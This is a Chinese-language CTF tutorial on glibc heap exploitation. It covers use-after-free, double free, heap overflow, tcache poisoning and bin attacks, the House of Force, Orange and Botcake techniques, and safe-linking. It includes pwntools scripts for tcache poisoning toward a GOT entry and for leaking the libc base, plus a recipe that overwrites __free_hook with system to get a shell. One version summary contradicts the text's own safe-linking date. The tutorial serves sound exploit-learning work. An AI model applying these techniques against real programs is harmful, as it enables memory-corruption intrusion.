堆基础
堆基础
本文适合
CTF Pwn 入门学习者。学完你能:把菜单式 malloc/free 题整理成 chunk 生命周期图,识别 UAF、double free、堆溢出和 tcache poisoning,并把漏洞转成泄露或任意写原语
堆是程序运行时动态分配内存的区域。和栈相比,堆对象生命周期更灵活,也更容易出现 UAF、double free、堆溢出等问题。
为什么需要堆
栈适合保存函数局部变量,函数返回后自动释放。
堆适合保存大小或生命周期在运行时才确定的数据。
C 语言里常见接口包括:
malloc
free
calloc
realloc程序向分配器申请一块内存,使用完后再释放。
chunk 是什么
分配器不会只保存用户数据。每块堆内存附近还会保存元数据,例如大小、状态、链表指针等。
在 glibc malloc 语境中,一块堆内存常被称为 chunk。
用户看到的是可用区域,分配器还会维护 chunk metadata。
很多堆利用本质上是破坏或利用这些元数据。
UAF
UAF 是 Use After Free,释放后继续使用。
如果程序 free(ptr) 后没有把指针置空,后续又读写 ptr,就可能访问已经被分配器回收的内存。
如果这块内存后来被重新分配给另一种对象,就可能产生类型混淆或控制字段覆盖。
double free
double free 是同一块内存被释放两次。
分配器可能把同一 chunk 放入空闲链表多次。
攻击者如果能控制再次分配,就可能让两个指针指向同一块内存,进一步制造任意写或对象重叠。
现代分配器有很多检查,但 CTF 题常会通过版本、场景或绕过条件制造机会。
堆溢出
堆溢出是写入超过堆块边界,覆盖相邻 chunk 或对象。
它可能破坏:
- 相邻对象字段。
- chunk 大小字段。
- 空闲链表指针。
- 函数指针。
- vtable 指针。
堆溢出不一定直接控制返回地址,但可能改变后续分配和释放行为。
tcache 入门
tcache 是 glibc 中用于提升小块分配性能的线程缓存。
很多现代 CTF 堆题围绕 tcache 展开。
入门时先理解三个问题:
- free 后 chunk 会进入哪个缓存或 bin。
- malloc 时会从哪里取 chunk。
- 攻击者能否影响空闲链表指向。
不要一上来背各种 house 技巧,先把分配和释放状态画清楚。
tcache 中毒详解
tcache(Thread Local Cache)是 glibc 2.26 引入的线程本地缓存,用于加速小块分配:
tcache 结构
// glibc 中的 tcache 结构
typedef struct tcache_entry {
struct tcache_entry *next; // 指向下一个空闲 chunk
struct tcache_perthread_struct *key; // 防 double free
} tcache_entry;
typedef struct tcache_perthread_struct {
char counts[TCACHE_MAX_BINS]; // 每个大小类的计数
tcache_entry *entries[TCACHE_MAX_BINS]; // 每个大小类的链表头
} tcache_perthread_struct;tcache poisoning
# 基本原理:修改 tcache 的 next 指针
# 使下一次 malloc 返回任意地址
from pwn import *
p = process('./vuln')
# 第一步:分配两个相同大小的 chunk
p.sendline(b'1') # alloc
p.sendline(b'0') # index 0
p.sendline(b'64') # size
p.sendline(b'1') # alloc
p.sendline(b'1') # index 1
p.sendline(b'64') # size
# 第二步:释放两个 chunk,进入 tcache
p.sendline(b'2') # free
p.sendline(b'0')
p.sendline(b'2') # free
p.sendline(b'1')
# 现在 tcache: chunk1 -> chunk0 -> NULL
# 第三步:溢出修改 chunk1 的 next 指针
target = 0x601020 # 目标地址(如 GOT 表)
payload = p64(0) + p64(0) # chunk header
payload += p64(target) # 覆盖 next 指针
p.sendline(b'3') # write
p.sendline(b'0')
p.sendline(payload)
# 第四步:两次 malloc,第二次返回目标地址
p.sendline(b'1') # alloc -> chunk1
p.sendline(b'2')
p.sendline(b'64')
p.sendline(b'1') # alloc -> target 地址
p.sendline(b'3')
p.sendline(b'64')
# 现在 index 3 指向 target,可以任意写fastbin 攻击
fastbin 用于管理小块内存(通常 <= 0x80 字节):
fastbin 结构
fastbinY[0]: 0x20 size
fastbinY[1]: 0x30 size
fastbinY[2]: 0x40 size
...
fastbinY[7]: 0x90 size
每个 fastbin 是一个单链表,LIFO(后进先出)fastbin double free
# 利用 double free 让 fastbin 链表出现环
# 下次 malloc 可以返回任意地址
# 步骤:
# 1. malloc(A)
# 2. free(A)
# 3. free(A) # double free,链表: A -> A -> ...
# 4. malloc(A) # 取出 A
# 5. malloc(A) # 又取出 A
# 6. 写入 A 的 fd 指针为目标地址
# 7. malloc -> A
# 8. malloc -> 目标地址fastbin 攻击绕过 size 检查
# glibc malloc 会检查返回 chunk 的 size 字段
# 需要在目标地址附近伪造一个合法的 size 字段
# 例如目标是 0x601020
# 需要在 0x601020 - 8 处有合法的 size 值
# 如果 0x601020 - 8 没有合法值,可以找其他偏移
# 常见技巧:利用 __malloc_hook 附近的 size 伪造
# __malloc_hook 在 main_arena 附近
# main_arena 的 top chunk size 通常是 0x7f
# 可以利用这个 0x7f 作为 fastbin 的 size 检查通过值unsorted bin 泄露
unsorted bin 用于管理被 free 的大块内存:
unsorted bin 链表
unsorted bin 是双向循环链表
fd 指向下一个 chunk
bk 指向上一个 chunk
当 chunk 在 unsorted bin 中时:
fd 和 bk 都指向 main_arena + 88 (或其他偏移)
这个地址是 libc 中的地址泄露 libc 地址
# 利用 unsorted bin 的 fd/bk 泄露 libc 地址
# 步骤:
# 1. 分配两个大 chunk(超过 fastbin 阈值)
# 2. 释放第一个 chunk,进入 unsorted bin
# 3. 读取第一个 chunk 的 fd 字段
# 4. fd 指向 main_arena,可以计算 libc 基址
p.sendline(b'1') # alloc chunk A
p.sendline(b'0')
p.sendline(b'1000')
p.sendline(b'1') # alloc chunk B(防止与 top chunk 合并)
p.sendline(b'1')
p.sendline(b'1000')
p.sendline(b'2') # free chunk A
p.sendline(b'0')
# 现在 chunk A 在 unsorted bin 中
# A->fd = main_arena + 88
p.sendline(b'4') # read chunk A
p.sendline(b'0')
leaked = u64(p.recv(8))
libc_base = leaked - main_arena_offset - 88
log.info(f'libc base: {hex(libc_base)}')glibc 版本检测
# 方法 1:从远程获取版本信息
# 有些题目会在响应中泄露版本
# 方法 2:通过 LibcSearcher
from LibcSearcher import *
libc = LibcSearcher('puts', leaked_puts_offset)
# 方法 3:通过文件
# 题目可能提供 libc.so.6
libc = ELF('./libc.so.6')
# 查看版本字符串
version = libc.search(b'GLIBC_').__next__()
print(libc.string(version))
# 方法 4:通过 ld
# 题目可能提供 ld-linux.so
# 运行 ./ld.so --version 可以查看版本
# 方法 5:通过 chunk 大小推断
# glibc 2.23: tcache 不存在
# glibc 2.26+: tcache 存在
# glibc 2.29+: tcache 有 key 字段堆布局可视化
# 使用 pwndbg 或 gef 查看堆布局
# pwndbg 命令:
# heap - 显示堆信息
# bins - 显示所有 bin
# vis_heap_chunks - 可视化堆块
# 使用 pwntools 的 heap 分析
from pwn import *
def show_heap(p, addr, count):
"""显示堆内存"""
for i in range(count):
data = p.read(addr + i * 0x20, 0x20)
print(f'Chunk {i}: {data.hex()}')
def show_tcache(p, libc_base):
"""显示 tcache 状态"""
tcache = libc_base + tcache_offset
counts = p.read(tcache + 0x10, 0x40)
entries = []
for i in range(64):
entry = u64(p.read(tcache + 0x50 + i * 8, 8))
entries.append(entry)
return counts, entries堆题目分析流程
# 步骤 1:识别功能
# - add/alloc: 分配堆块
# - delete/free: 释放堆块
# - edit/write: 修改堆块
# - show/read: 显示堆块
# - rename: 修改名称
# 步骤 2:确定漏洞类型
# - UAF: free 后还能读写
# - double free: 可以多次 free
# - 堆溢出: 写入超过边界
# - off-by-one: 溢出 1 字节
# 步骤 3:确定 libc 版本
# - 检查是否有 tcache
# - 检查是否有 key 字段
# 步骤 4:构造利用
# - 泄露 libc 地址
# - 泄露堆地址(如果需要)
# - 构造任意写
# - 覆盖目标地址
# 步骤 5:执行利用
# - 覆盖 __malloc_hook / __free_hook(旧版)
# - 覆盖 GOT(如果可写)
# - FSOP(如果需要)常见堆利用技巧
House of Spirit
# 在栈上伪造一个 fastbin chunk
# free 后进入 fastbin
# 下次 malloc 返回栈上地址
# 伪造 chunk:
fake_chunk = p64(0) # prev_size
fake_chunk += p64(0x41) # size(需要满足 fastbin 大小和对齐)
fake_chunk += p64(0) * 7 # 数据区
fake_chunk += p64(0) # next chunk 的 prev_size
fake_chunk += p64(0x21) # next chunk 的 size(避免合并检查)House of Lore
# 利用 smallbin 的 bk 指针
# 伪造 smallbin 链表
# 使 malloc 返回任意地址House of Force
# 利用 top chunk 的 size 字段
# 通过溢出修改 top chunk size 为 -1(0xffffffffffffffff)
# 然后 malloc 一个大块,使 top chunk 移动到目标地址附近
# 下次 malloc 返回目标地址
# 条件:
# 1. 能溢出修改 top chunk size
# 2. 能控制 malloc 的大小参数
# 3. 目标地址附近有合法的 size 字段
# 步骤:
# 1. 溢出修改 top chunk size = 0xffffffffffffffff
# 2. malloc(target_addr - current_top - 0x10)
# 3. top chunk 移动到 target_addr 附近
# 4. malloc 返回 target_addr
# 注意:glibc 2.29+ 增加了 top chunk size 检查,House of Force 不再直接可用House of Orange
# 不需要 free,通过修改 top chunk 实现
# 核心思想:让 top chunk 进入 unsorted bin,然后利用 largebin attack
# 步骤:
# 1. 溢出修改 top chunk size
# 2. malloc 一个比当前 top chunk 大的块
# 3. 旧的 top chunk 被 free 进入 unsorted bin
# 4. 利用 unsorted bin attack 或 largebin attack
# 最终目标通常是 FSOP(_IO_list_all)House of Botcake
# glibc 2.29+ 引入 tcache key 后,直接 double free 会被检测
# House of Botcake 绕过 tcache key 检查
# 步骤:
# 1. malloc 7 个 chunk 填满 tcache(count = 7)
# 2. malloc chunk A 和 chunk B
# 3. free(A) -> 进入 unsorted bin(tcache 已满)
# 4. free(B) -> 进入 unsorted bin
# 5. malloc 一个大块 -> 从 unsorted bin 取出,此时 A 在 unsorted bin 中
# 6. free(A) -> 再次释放 A(此时 tcache 有空位,进入 tcache)
# 7. 现在 A 同时在 tcache 和 unsorted bin 中
# 8. 通过 unsorted bin 修改 A 的 fd 指针
# 9. malloc 取出 A,再 malloc 返回目标地址
# 关键:利用 unsorted bin 和 tcache 的重叠unsorted bin attack
当 chunk 从 unsorted bin 中被取出时,会执行 bk->fd = unsorted_chunks(av) 的写入操作。如果能控制 bk 指针,就能向任意地址写入 main_arena 的地址。
# unsorted bin attack 原理
# 1. 释放一个 chunk 进入 unsorted bin
# 2. 修改其 bk 指针指向 target_addr - 0x10
# 3. 再次 malloc 时,target_addr 被写入 main_arena 地址
# CTF 中的典型利用:
# - 覆写 _IO_list_all 实现 FSOP
# - 覆写某个全局变量改变程序逻辑
# - 配合其他漏洞扩大攻击面注意:glibc 2.29+ 增加了 unsorted bin 的完整性检查(bk->fd == victim),直接修改 bk 会触发 abort。需要配合其他漏洞绕过检查。
smallbin attack
类似 unsorted bin,当 chunk 从 smallbin 中被取出时,会执行 bk->fd = victim。如果控制 bk,可以向任意地址写入 chunk 地址。
# smallbin attack 原理
# 1. 让 chunk 进入 smallbin
# 2. 修改其 bk 指针
# 3. malloc 取出时触发写入
# 4. glibc 2.29+ 增加了检查,需要绕过smallbin attack 比 unsorted bin attack 更受限制,但写入的值是 chunk 地址而非 main_arena 地址,在某些场景下更有用。
largebin attack
largebin 的插入排序逻辑中存在指针操作。当新 chunk 插入 largebin 时,会遍历链表找到合适位置,然后执行 fd->bk = victim 和 bk->fd = victim。
如果在遍历过程中能控制已有 chunk 的 fd/bk,就可以向任意地址写入 chunk 地址。
# largebin attack 在 glibc 2.30 之前可以直接利用
# glibc 2.30 增加了检查:victim->bk_nextsize->fd_nextsize == victim
# 需要构造更复杂的链表结构绕过largebin attack 是 House of Orange 和部分 FSOP 利用链的关键环节。
glibc safe-linking (2.32+)
glibc 2.32 引入了 safe-linking 机制,对 tcache 和 fastbin 的 fd 指针进行加密:
encrypted_fd = (fd >> 12) ^ ptr其中 ptr 是 chunk 自身的地址。这意味着直接修改 fd 指针不再有效,需要知道堆地址才能构造正确的加密值。
绕过方法:
- 如果能泄露堆地址,可以计算正确的加密值。
- 如果 chunk 地址的低 12 位已知(同一 page),可以爆破。
- 利用堆地址对齐特性(低 12 位通常是 0x000)简化计算。
堆题目分析完整流程
- 确定 glibc 版本:
ldd ./pwn或strings libc.so.6 | grep "GNU C" - 检查保护:
checksec ./pwn,重点关注 PIE 和 Full RELRO - 识别漏洞类型:UAF、double free、堆溢出、off-by-one
- 确定可用 bin:tcache(2.26+)、fastbin、unsorted bin、smallbin、largebin
- 规划利用链:
- 泄露 libc:unsorted bin → 泄露 main_arena 地址
- 泄露堆:tcache 或 fastbin 中残留指针
- 写入任意地址:tcache poisoning / unsorted bin attack / largebin attack
- 劫持控制流:覆写 __malloc_hook / __free_hook / stdout / _IO_list_all
- 注意 glibc 版本差异:2.26-2.28(无 tcache key)、2.29(tcache key)、2.31(tcache safe-linking)、2.34(移除 hook)
常见误区
- 把堆题当成更难的栈溢出。
- 不画 chunk 生命周期。
- 不记录每次 malloc/free 后的堆布局。
- 只背 tcache poisoning 名字,不理解空闲链表。
- 忽略 libc 版本对堆机制的影响。
一句话判断
题目有 add/delete/edit/show 菜单、反复 malloc/free、释放后还能读写、重复释放或写入超过 chunk 大小时,就先按堆题分析。
堆利用的核心不是直接改返回地址,而是把对象生命周期错误转成泄露、重叠 chunk、任意写或函数指针劫持。
题目中常见信号
- 菜单功能包含
create、delete、edit、show。 free后指针没有置空,仍可show/edit。- 同一 index 可重复
delete。 edit(size)不校验原 chunk 大小。- 程序提供 libc、ld 或 Docker,暗示 glibc 版本重要。
- 输出中出现堆地址、main_arena 地址或 tcache 残留指针。
- 保护是 Full RELRO,不能走 GOT 覆写,需要改 hook、FILE、返回地址或对象字段。
核心概念
堆题先画三张表:
index -> 指针 -> chunk 大小 -> 当前状态
bin/tcache -> 空闲链表顺序
目标 -> 需要泄露什么 -> 需要写到哪里常见原语转化:
UAF read -> 泄露 libc/heap
UAF write -> 改 tcache/对象字段
double free -> 同一 chunk 多次返回
overflow -> 覆盖相邻 chunk 元数据或对象字段glibc 版本决定可用技巧。2.26+ 有 tcache,2.32+ 有 safe-linking,2.34+ 移除 __malloc_hook、__free_hook 这类老目标。
最小分析流程
- 记录 glibc 版本:
strings libc.so.6 | rg "GNU C"。 checksec ./vuln判断 RELRO、PIE、NX。- 跑通菜单,给每个 index 画生命周期。
- 测 UAF、double free、堆溢出、off-by-one。
- 用 GDB/pwndbg 观察
heap、bins、tcachebins。 - 先做泄露:unsorted bin 泄露 libc,tcache/fastbin 泄露 heap。
- 再做写入:tcache poisoning、chunk overlap、bin attack。
- 选择劫持目标:hook、GOT、返回地址、vtable、FILE 或程序对象字段。
- 失败时回到版本、size class、对齐、safe-linking 和链表完整性检查。
最小验证示例
观察 chunk 生命周期:
heap
tcachebins
bins
vis_heap_chunks验证 UAF 泄露:
p.sendlineafter(b"> ", b"1") # alloc
p.sendlineafter(b"idx: ", b"0")
p.sendlineafter(b"size: ", b"0x500")
p.sendlineafter(b"> ", b"2") # free
p.sendlineafter(b"idx: ", b"0")
p.sendlineafter(b"> ", b"4") # show after free
p.sendlineafter(b"idx: ", b"0")
leak = u64(p.recv(6).ljust(8, b"\x00"))
log.info(f"unsorted/main_arena leak = {hex(leak)}")成功标准:free 后残留指针能读出 main_arena 或 heap 地址,并能解释该地址属于哪个 bin 或 chunk 字段。
常见利用 / 解题路线
路线总览:
路线一:UAF 泄露 + tcache poisoning
适合 glibc 2.26+ 菜单题。
free 大块泄露 libc -> free 小块形成 tcache -> 改 next -> malloc 到目标路线二:double free
适合重复释放未检查或检查可绕过的题。
free(A) -> free(B) -> free(A) -> malloc 返回重叠指针路线三:off-by-one / 堆溢出
适合能覆盖下一个 chunk size 或对象字段的题。先确认覆盖范围,再决定 backward consolidation、chunk overlap 或函数指针覆盖。
路线四:unsorted bin 泄露
释放大块后读取 fd/bk,计算 libc base。
路线五:Full RELRO 下的控制流目标
不能改 GOT 时,考虑 FSOP基础、返回地址、vtable、程序回调字段或 setcontext 链。
常见失败原因
- 没固定 libc 版本:本地 glibc 与题目环境不同,bin 行为和 hook 状态会变。
- size class 选错:申请大小进入了不同 tcache/bin。
- 忘记填满 tcache:大块想进 unsorted bin 时,先确认不会被 tcache 接住。
- safe-linking 没解密:glibc 2.32+ tcache/fastbin 指针不是明文。
- double free 被 key 检查拦截:需要绕过或换路线。
- 泄露解析少字节:地址中的
\x00会影响recvline。 - 只看成功脚本不画堆图:稍有菜单顺序差异就失效。
迷你案例
菜单题有 add/delete/show/edit,delete(0) 后没有清空指针,show(0) 仍可读。
步骤:
add(0, 0x500)
add(1, 0x20) # 防止 top 合并
delete(0)
show(0) # 泄露 unsorted bin fd泄露到 main_arena+96 后计算 libc base。再利用小 chunk UAF 改 tcache next 指向 __free_hook 或替代目标,分配到目标地址写入 system,最后 free("/bin/sh")。
WP 里要写清楚每次 malloc/free 后 tcache、unsorted bin 和 index 指针状态,而不是只贴最终 payload。